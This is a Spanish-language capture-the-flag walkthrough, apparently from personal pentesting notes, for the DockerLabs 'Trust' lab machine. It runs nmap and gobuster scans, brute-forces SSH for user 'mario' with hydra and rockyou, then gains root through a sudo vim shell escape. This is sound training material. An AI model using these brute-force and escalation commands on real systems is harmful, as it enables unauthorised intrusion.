> For the complete documentation index, see [llms.txt](https://mis-apuntes-1.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mis-apuntes-1.gitbook.io/pentesting/dockerlabs/muy-facil/trust.md).

# TRUST

Dificultad: MUY FÁCIL // Categoría: Hacking Infraestructura

### 1. RECONOCIMIENTO

Realizo un escaneo de puertos básico para ver qué servicios hay abiertos:

```
sudo nmap -p- -sS -sC --min-rate 5000 -n -vvv -Pn 172.18.0.2 -oN escaneo2
```

También puedo usar esta alternativa:

```
nmap -sCV -p- 172.18.0.2 -oN targeted
```

***

### 2. ENUMERACIÓN

Enumero la web buscando extensiones de archivos que puedan ser importantes:

```
gobuster dir -u http://172.18.0.2 -w /usr/share/dirb/wordlists/big.txt -x php,html,txt
```

Encuentro lo siguiente:

* Localizo el archivo secret.php.
* Accedo a la página y veo que pone "HOLA MARIO", así que deduzco que Mario es un usuario válido.

***

### 3. EXPLOTACIÓN

Le lanzo un ataque de fuerza bruta al usuario Mario por SSH:

```
hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.2
```

Una vez obtengo la contraseña, accedo al sistema:

```
ssh mario@172.18.0.2
```

***

### 4. ESCALADA DE PRIVILEGIOS

Ejecuto sudo -l para revisar mis privilegios de administrador:

```
sudo -l
```

Veo que puedo usar vim, así que escalo privilegios de la siguiente forma:

```
sudo vim -c ':!/bin/sh'
```

***

### 5. POST-EXPLOTACIÓN

Ya he conseguido acceso como root:

```
whoami
# root
```


---

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